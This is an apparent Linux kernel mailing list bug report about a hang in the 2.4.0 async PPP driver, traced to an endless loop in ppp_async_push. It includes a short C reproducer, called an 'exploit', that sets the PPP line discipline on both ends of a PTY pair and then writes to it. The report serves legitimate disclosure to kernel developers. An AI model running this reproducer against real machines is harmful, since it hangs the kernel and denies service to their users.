Hi all, hi Paulus. Is somewhat odd how I got it, but here it goes. I found a bug in 2.4.0 async PPP driver. I tested the same program in 2.2.17 and it run perfectly (and without hanging). So, here goes the description: 2.4.0 Kernel hangs up when I do the following stuff: * Create a new PTY using openpty(); * Fork using forkpty. Now, the child process does this: - Set the fd 0 line discipline to PPP; - tries infinitely to read the standard input. The parent process sets the line discipline of the master PTY fd to PPP also, and then writes to it. As I was able to see (strace), the write function never returns. Hopefully SysRQ worked, and I was able to trace the bug to ppp_async_push. It seems the endless loop there is really endless. (sigh) Here's a copy of the "exploit". -- cut here -- /* Compile with -lutil */ #include <pty.h> #include <termios.h> #include <sys/ioctl.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <linux/types.h> #include <asm/types.h> #include <net/if.h> #include <linux/ppp_defs.h> int main(int argc, char **argv) { int fdmaster,fdslave; struct termios t; struct winsize w; char name[80],fdn[8]; int pppdisc = N_PPP; tcgetattr(0, &t); openpty(&fdmaster, &fdslave,name, &t, &w); switch (forkpty(&fdmaster,name,&t,&w)) { case 0: ioctl(0, TIOCSETD, &pppdisc); while (1==1) { char buf[80]; read(0, buf, 80); } } ioctl(fdmaster, TIOCSETD, &pppdisc); while (1==1) { write(fdmaster,"OK\n", 3); sleep(1); } } -- cut here -- Álvaro Lopes Network Consulting <[EMAIL PROTECTED]> http://www.alvie.com/ - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] Please read the FAQ at http://www.tux.org/lkml/